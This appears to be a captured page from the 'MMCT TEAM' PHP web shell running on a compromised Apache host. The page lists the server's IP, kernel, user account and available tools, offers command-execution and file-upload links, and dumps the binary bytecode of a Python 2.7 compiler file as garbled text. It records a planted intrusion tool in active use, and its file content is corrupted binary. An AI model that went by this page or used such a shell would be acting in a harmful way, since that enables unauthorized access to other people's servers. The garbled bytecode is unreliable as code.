MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.221.192.248
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /../lib64/python2.7/compiler/../compiler/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //../lib64/python2.7/compiler/../compiler/syntax.pyc
�
o��fc@s?dZddlmZmZdd�Zddd��YZdS(s8Check for errs in the AST.

The Python parser does not catch all syntax errors.  Others, like
assignments with invalid targets, are caught in the code generation
phase.

The compiler package catches some errors in the transformer module.
But it seems clearer to write checkers that use the AST to detect
errors.
i����(tasttwalkcCs t|�}t||�|jS(N(tSyntaxErrorCheckerRterrors(ttreetmultitv((s'/usr/lib64/python2.7/compiler/syntax.pytchecks
RcBs,eZdZdd�Zd�Zd�ZRS(s+A visitor to find syntax errors in the AST.cCs||_d|_dS(s�Create new visitor object.

        If optional argument multi is not None, then print messages
        for each error rather than raising a SyntaxError for the
        first.
        iN(RR(tselfR((s'/usr/lib64/python2.7/compiler/syntax.pyt__init__s	cCsZ|jd|_|jdk	r:d|j|j|fGHntd||j|jf�dS(Nis	%s:%s: %ss
%s (%s:%s)(RRtNonetfilenametlinenotSyntaxError(Rtnodetmsg((s'/usr/lib64/python2.7/compiler/syntax.pyterror scCsdS(N((RR((s'/usr/lib64/python2.7/compiler/syntax.pytvisitAssign'sN(t__name__t
__module__t__doc__R
R	RR(((s'/usr/lib64/python2.7/compiler/syntax.pyRs
	N((RtcompilerRRR
RR(((s'/usr/lib64/python2.7/compiler/syntax.pyt<module>
s

MMCT - 2023